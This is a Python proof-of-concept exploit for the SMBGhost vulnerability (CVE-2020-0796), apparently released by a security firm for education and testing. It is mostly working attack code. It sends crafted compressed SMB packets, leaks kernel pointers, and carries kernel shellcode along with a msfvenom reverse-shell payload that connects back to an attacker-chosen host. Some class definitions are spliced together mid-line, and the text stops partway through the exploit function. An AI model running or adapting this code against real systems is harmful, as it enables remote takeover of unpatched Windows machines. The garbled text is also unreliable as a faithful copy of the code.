# CVE-2020-0796 Remote Code Execution POC # (c) 2020 ZecOps, Inc. - https://www.zecops.com - Find Attackers' Mistakes # Intended only for educational and testing in corporate environments. # ZecOps takes no responsibility for the code, use at your own risk. import socket, struct, sys import os, ctypes, threading OFFSETS = { 'srvnet!SrvNetWskConnDispatch': 0x2D170, 'srvnet!imp_IoSizeofWorkItem': 0x32210, 'srvnet!imp_RtlCopyUnicodeString': 0x32288, 'nt!IoSizeofWorkItem': 0x12C410, 'nt!MiGetPteAddress': 0xBA968 } # The number of iterations for some of the operations, as part of an attempt to # support targets with multiple logical processors. # A larger value can make the POC more reliable, but also slower. LOOKASIDE_RELATED_ITERATIONS = 4 class Smb2Header: def __init__(self, command, message_id=0, session_id=0): self.protocol_id = b"\xfeSMB" self.structure_size = b"\x40\x00" # Must be set to 0x40 self.credit_charge = b"\x00"*2 self.channel_sequence = b"\x00"*2 self.channel_reserved = b"\x00"*2 self.command = struct.pack('i', len(data))[1:] self.data = data def get_packet(self): return self.session + self.length + self.data class Smb2CompressedTransformHeader: def __init__(self, data, offset, original_decompressed_size): self.data = data self.protocol_id = b"\xfcSMB" self.original_decompressed_size = struct.pack('I', reply_size)[0]) def send_compressed(sock, data, offset, original_decompressed_size): compressed = Smb2CompressedTransformHeader(data, offset, original_decompressed_size).get_packet() packet = NetBIOSWrapper(compressed).get_packet() sock.send(packet) reply_size = sock.recv(4) return sock.recv(struct.unpack('>I', reply_size)[0]) def send_session_setup_with_ntlm_negotiate(sock): ntlm_negotiate = Smb2NtlmNegotiate().get_packet() session_setup = Smb2SessionSetupRequest(1, ntlm_negotiate).get_packet() return send_compressed(sock, compress(session_setup), 0, len(session_setup)) def send_session_setup_with_ntlm_authenticate(sock, session_id, timestamp): ntlm_negotiate = Smb2NtlmAuthenticate(timestamp).get_packet() session_setup = Smb2SessionSetupRequest(2, ntlm_negotiate, session_id).get_packet() return send_compressed(sock, compress(session_setup), 0, len(session_setup)) def connect_and_send_compressed(ip_address, data, offset, original_decompressed_size): with socket.socket(socket.AF_INET) as sock: sock.settimeout(30) sock.connect((ip_address, 445)) send_negotiation(sock) try: return send_compressed(sock, data, offset, original_decompressed_size) except ConnectionResetError: return None # usually expected, just return def is_target_vulnerable(ip_address): ntlm_negotiate = Smb2NtlmNegotiate().get_packet() session_setup = Smb2SessionSetupRequest(1, ntlm_negotiate).get_packet() # Trigger an integer overflow. A patched system will discard the packet. return connect_and_send_compressed(ip_address, session_setup + b'\x00'*16, len(session_setup), -1) != None def connect_and_send_compressed_multiple_times(ip_address, data, offset, original_decompressed_size): for _ in range(LOOKASIDE_RELATED_ITERATIONS): connect_and_send_compressed(ip_address, data, offset, original_decompressed_size) def connect_and_send_compressed_multiple_times_multithreaded(ip_address, data, offset, original_decompressed_size): # Send several requests simultaneously to increase the chance of the packets # to be handled on different logical processors on the target computer. def thread_func(): connect_and_send_compressed(ip_address, b'A'*0x200, 0, 0x200) for _ in range(LOOKASIDE_RELATED_ITERATIONS): threads = [] for _ in range(LOOKASIDE_RELATED_ITERATIONS): t = threading.Thread(target=thread_func) threads.append(t) t.start() for _ in range(LOOKASIDE_RELATED_ITERATIONS): connect_and_send_compressed(ip_address, data, offset, original_decompressed_size) for t in threads: t.join() def leak_if_ptr_byte_larger_than_value(ip_address, byte_offset, ptr_list, compare_to_byte): # Write a zero byte next to the byte we want to leak. # The payload is crafted so that the decompression will fail after # writing the part we need, allowing to write in the middle of the # allocated block. count1 = compare_to_byte + 3 count2 = 0xFF + 3 - count1 payload = b'\xb0' + b'\x00'*count1 + b'\xff'*count2 offset = byte_offset - 0x50 + 1 original_decompressed_size = ptr_list - offset # will be decompressed to target-sized lookaside list data = b'B'*offset + compress(payload) data += b'\xff'*(0x4101 - len(data)) # request will go to 0x8100-sized lookaside list connect_and_send_compressed_multiple_times(ip_address, data, offset, original_decompressed_size) ntlm_negotiate = Smb2NtlmNegotiate().get_packet() session_setup = Smb2SessionSetupRequest(1, ntlm_negotiate).get_packet() prev_ptr_list = (ptr_list - 0x100) // 2 + 0x100 data = session_setup data += b'B'*(prev_ptr_list + 1 - 0x10 - len(data)) # request will go to target-sized lookaside list offset = byte_offset - 0x60 original_decompressed_size = 0x4101 - offset # will be decompressed to 0x8100-sized lookaside list reply = connect_and_send_compressed(ip_address, data, offset, original_decompressed_size) send_count = 1 while reply != None and send_count < LOOKASIDE_RELATED_ITERATIONS: # This reply is unreliable, might be a zero byte from a lookaside list # of a different processor. Try again to verify. reply = connect_and_send_compressed(ip_address, data, offset, original_decompressed_size) send_count += 1 #print(f'result {reply == None}, send_count {send_count}') return reply == None def leak_ptr_byte(ip_address, byte_offset, ptr_list): attempts = 0 while True: if attempts >= 3: return None # something is wrong, give up attempts += 1 # Bisecting the range. low = 0x00 high = 0xFF while low < high: mid = (low + high) // 2 if leak_if_ptr_byte_larger_than_value(ip_address, byte_offset, ptr_list, mid): low = mid + 1 #print(f'>{hex(mid)} ', end='', flush=True) else: high = mid #print(f'<={hex(mid)} ', end='', flush=True) print('.', end='', flush=True) # Make sure we got it right if leak_if_ptr_byte_larger_than_value(ip_address, byte_offset, ptr_list, low): print(' ... ', end='', flush=True) continue # something is wrong, try again if low > 0 and not leak_if_ptr_byte_larger_than_value(ip_address, byte_offset, ptr_list, low - 1): print(' ... ', end='', flush=True) continue # something is wrong, try again break # let's hope we got it right... #print(f'={hex(low)}') return low def leak_ptr(ip_address, ptr_offset, ptr_list): byte_values = [] for byte_index in reversed(range(0, 6)): #print(f'Leaking byte {byte_index}') byte_value = leak_ptr_byte(ip_address, ptr_offset + byte_index, ptr_list) if byte_value == None: return None byte_values.insert(0, byte_value) address = bytes(byte_values) + b'\xff\xff' address = struct.unpack('>= 9 address &= 0x7FFFFFFFF8 address += pte_base return address def smbghost_kshellcode_x64(ip, port): # nasm smbghost_kshellcode_x64.asm kmode = b'\x55\xe8\x07\x00\x00\x00\xe8\x19\x00\x00\x00\x5d\xc3\x48\x8d\x2d\x00\x10\x00\x00\x48\xc1\xed\x0c\x48\xc1\xe5\x0c\x48\x81\xed\x00\x02\x00\x00\xc3\x41\x57\x41\x56\x57\x56\x53\x48\x83\xec\x20\x49\x89\xcf\x4c\x89\x7d\x08\x65\x4c\x8b\x34\x25\x88\x01\x00\x00\xbf\x3f\x5f\x64\x77\xe8\x2a\x01\x00\x00\x8b\x40\x03\x89\xc3\x3d\x00\x04\x00\x00\x72\x03\x83\xc0\x10\x48\x8d\x50\x28\x4c\x89\xf1\xbf\xb4\x9f\x9b\x78\xe8\x03\x01\x00\x00\x4c\x8d\x04\x10\x4d\x89\xc1\x4d\x8b\x09\x4d\x39\xc8\x0f\x84\xe4\x00\x00\x00\x4c\x89\xc8\x4c\x29\xf0\x48\x3d\x00\x07\x00\x00\x77\xe6\x4d\x29\xce\xbf\x78\x7c\xf4\xdb\xe8\xd5\x00\x00\x00\x48\x91\xbf\xe1\x14\x01\x17\xe8\xd0\x00\x00\x00\x8b\x78\x03\x83\xc7\x08\x31\xc0\x48\x8d\x34\x19\x50\xe8\x06\x01\x00\x00\x3d\xd8\x83\xe0\x3e\x58\x74\x1e\x48\xff\xc0\x48\x3d\x00\x03\x00\x00\x75\x0a\x31\xc9\x88\x4d\xf8\xe9\x8e\x00\x00\x00\x48\x8b\x0c\x39\x48\x29\xf9\xeb\xd0\xbf\x48\xb8\x18\xb8\xe8\x87\x00\x00\x00\x48\x89\x45\xf0\x48\x8d\x34\x11\x48\x89\xf3\x48\x8b\x5b\x08\x48\x39\xde\x74\xf7\x4a\x8d\x14\x33\xbf\x3e\x4c\xf8\xce\xe8\x6c\x00\x00\x00\x8b\x40\x03\x48\x83\x7c\x02\xf8\x00\x74\xde\x48\x8d\x4d\x30\x4d\x31\xc0\x4c\x8d\x0d\xac\x00\x00\x00\x55\x6a\x01\x55\x41\x50\x48\x83\xec\x20\xbf\xc4\x5c\x19\x6d\xe8\x38\x00\x00\x00\x48\x8d\x4d\x30\x4d\x31\xc9\xbf\x34\x46\xcc\xaf\xe8\x27\x00\x00\x00\x48\x83\xc4\x40\x85\xc0\x74\xa3\x48\x8b\x45\x40\xf6\x40\x1a\x02\x75\x09\x48\x89\x00\x48\x89\x40\x08\xeb\x90\x48\x83\xc4\x20\x5b\x5e\x5f\x41\x5e\x41\x5f\xc3\xe8\x02\x00\x00\x00\xff\xe0\x53\x51\x56\x41\x8b\x47\x3c\x41\x8b\x84\x07\x88\x00\x00\x00\x4c\x01\xf8\x50\x8b\x48\x18\x8b\x58\x20\x4c\x01\xfb\xff\xc9\x8b\x34\x8b\x4c\x01\xfe\xe8\x1f\x00\x00\x00\x39\xf8\x75\xef\x58\x8b\x58\x24\x4c\x01\xfb\x66\x8b\x0c\x4b\x8b\x58\x1c\x4c\x01\xfb\x8b\x04\x8b\x4c\x01\xf8\x5e\x59\x5b\xc3\x52\x31\xc0\x99\xac\xc1\xca\x0d\x01\xc2\x85\xc0\x75\xf6\x92\x5a\xc3\x55\x53\x57\x56\x41\x57\x49\x8b\x28\x4c\x8b\x7d\x08\x52\x5e\x4c\x89\xcb\x31\xc0\x44\x0f\x22\xc0\x48\x89\x02\x89\xc1\x48\xf7\xd1\x49\x89\xc0\xb0\x40\x50\xc1\xe0\x06\x50\x49\x89\x01\x48\x83\xec\x20\xbf\xea\x99\x6e\x57\xe8\x65\xff\xff\xff\x48\x83\xc4\x30\x85\xc0\x75\x45\x48\x8b\x3e\x48\x8d\x35\x4d\x00\x00\x00\xb9\x80\x03\x00\x00\xf3\xa4\x48\x8b\x45\xf0\x48\x8b\x40\x18\x48\x8b\x40\x20\x48\x8b\x00\x66\x83\x78\x48\x18\x75\xf6\x48\x8b\x50\x50\x81\x7a\x0c\x33\x00\x32\x00\x75\xe9\x4c\x8b\x78\x20\xbf\x5e\x51\x5e\x83\xe8\x22\xff\xff\xff\x48\x89\x03\x31\xc9\x88\x4d\xf8\xb1\x01\x44\x0f\x22\xc1\x41\x5f\x5e\x5f\x5b\x5d\xc3\x48\x92\x31\xc9\x51\x51\x49\x89\xc9\x4c\x8d\x05\x0d\x00\x00\x00\x89\xca\x48\x83\xec\x20\xff\xd0\x48\x83\xc4\x30\xc3' # msfvenom -a x64 --platform windows -p windows/x64/shell_reverse_tcp lhost=192.168.56.1 lport=443 -f python -v shellcode umode = b'\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41' umode += b'\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48' umode += b'\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20' umode += b'\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31' umode += b'\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20' umode += b'\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41' umode += b'\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0' umode += b'\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67' umode += b'\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20' umode += b'\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34' umode += b'\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac' umode += b'\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1' umode += b'\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58' umode += b'\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c' umode += b'\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04' umode += b'\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a' umode += b'\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41' umode += b'\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9' umode += b'\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f' umode += b'\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81' umode += b'\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02' umode += b'\x00' + struct.pack('>H', port) + socket.inet_aton(ip) + b'\x41\x54\x49\x89' umode += b'\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff' umode += b'\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41' umode += b'\xba\x29\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31' umode += b'\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48' umode += b'\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0' umode += b'\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89' umode += b'\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff' umode += b'\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63' umode += b'\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50' umode += b'\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0\x6a\x0d' umode += b'\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01' umode += b'\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89' umode += b'\xe6\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff' umode += b'\xc0\x41\x50\x49\xff\xc8\x4d\x89\xc1\x4c\x89' umode += b'\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48\x31' umode += b'\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d' umode += b'\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6' umode += b'\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06' umode += b'\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72' umode += b'\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5' return kmode + umode def exploit(ip_address, reverse_shell_ip, reverse_shell_port): global socks_to_keep_alive socks_to_keep_alive = [] allocation_pool_object_ptr = leak_allocation_pool_object_ptr(ip_address) print(f'Leaked pool allocation address: {hex(allocation_pool_object_ptr)}') srvnet_base_ptr = leak_srvnet_base_ptr(ip_address, allocation_pool_object_ptr) print(f'Leaked srvnet.sys base address: {hex(srvnet_base_ptr)}') read_address = srvnet_base_ptr + OFFSETS['srvnet!imp_IoSizeofWorkItem'] address = read_what_where(ip_address, srvnet_base_ptr, allocation_pool_object_ptr, 6, read_address) address = struct.unpack('